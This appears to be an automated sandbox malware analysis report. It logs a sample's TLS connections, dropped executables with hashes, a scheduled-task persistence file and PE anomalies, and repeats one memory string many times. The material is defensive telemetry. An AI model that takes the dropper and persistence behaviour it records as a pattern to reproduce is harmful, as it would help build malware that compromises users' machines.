Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50169 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 036e90e395.exe, 0000000B.00000002.2882888364.0000000000572000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_9de8f4b9-1
Source: 036e90e395.exe, 0000000B.00000002.2882888364.0000000000572000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_606c29ca-8
Source: 036e90e395.exe, 0000001F.00000000.2980992335.0000000000572000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ea5f573d-d
Source: 036e90e395.exe, 0000001F.00000000.2980992335.0000000000572000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_37b2469c-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: CT1ROX8L8OCI432H.exe.0.dr	Static PE information: section name:
Source: CT1ROX8L8OCI432H.exe.0.dr	Static PE information: section name: .idata
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name:
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name: .idata
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: 21024c5511.exe.8.dr	Static PE information: section name:
Source: 21024c5511.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: 996773cd54.exe.8.dr	Static PE information: section name:
Source: 996773cd54.exe.8.dr	Static PE information: section name: .rsrc
Source: 996773cd54.exe.8.dr	Static PE information: section name: .idata
Source: 996773cd54.exe.8.dr	Static PE information: section name:
Source: QEDBGN5ZBSJ2P7FMKVJ.exe.9.dr	Static PE information: section name:
Source: QEDBGN5ZBSJ2P7FMKVJ.exe.9.dr	Static PE information: section name: .idata
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name:
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name: .idata
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name:
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name:
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name: .idata
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name:
Source: NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.14.dr	Static PE information: section name:
Source: NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.14.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017728D0	0_3_017728D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017728D0	0_3_017728D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017728D0	0_3_017728D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017728D0	0_3_017728D0
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Code function: 3_2_0043CA6D	3_2_0043CA6D
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Code function: 3_2_002CDD67	3_2_002CDD67
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Code function: 9_3_013114B2	9_3_013114B2
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Code function: 9_3_012ECE71	9_3_012ECE71

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe 3B6C154CB62E1D8797B300EC8615F3CDFB692F5A31B3F6AB5B66278549332D4D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe, 00000000.00000003.2229765185.0000000006334000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2214793956.0000000006338000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235621705.0000000006335000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236790609.000000000658B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216262160.0000000006193000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233326043.0000000006428000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2217027543.00000000063D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233961350.000000000633F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219245812.0000000006341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226382411.0000000006336000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238248015.0000000006332000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236290322.0000000006332000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220081427.000000000633F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215741131.00000000063E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238655441.000000000633F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238118124.0000000006466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236624141.000000000645E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216427832.000000000633A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235511542.0000000006448000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220246815.00000000063F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231124502.000000000641A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219028101.00000000064A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221687401.0000000006333000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254132854.00000000065F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220469650.0000000006339000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215007557.000000000619B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236125497.0000000006461000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259520264.0000000005EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222302409.0000000006339000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233615083.000000000652C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235244485.0000000006561000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234346006.000000000633B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2214262354.0000000005FB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239469134.0000000006336000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259568070.0000000005F79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231346204.0000000006503000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239064289.0000000006333000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239973931.0000000006487000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232799484.0000000006332000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224048010.000000000641F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237566615.0000000006589000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2218493206.000000000648F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230881219.0000000006333000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221102282.0000000006400000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234597395.000000000654C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234474602.000000000643C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223215164.00000000064DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234087473.000000000643C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222909457.0000000006403000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237387563.000000000645D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234854486.000000000644E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238924404.00000000065C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237719082.0000000006335000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237066284.000000000645B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2217633051.000000000648F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238794731.0000000006479000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236006842.0000000006334000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237227123.0000000006332000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235870441.0000000006559000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215943752.000000000633B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219386464.00000000063FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2217968634.0000000006334000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235747337.0000000006442000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2217384780.00000000063E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2214556926.0000000006195000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234982483.0000000006335000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219569846.000000000633D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238014540.0000000006339000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216630819.00000000063D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225834987.0000000006421000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239835183.0000000006334000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225570319.0000000006339000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237882002.0000000006469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223581631.000000000641B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215424269.000000000633E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2218860628.00000000063E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231936061.0000000006335000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2218686209.0000000006337000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2217205514.0000000006338000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232568537.000000000651C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230407472.000000000641E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222029807.00000000064C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236950399.0000000006338000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221854816.0000000006401000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2218194375.00000000063D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
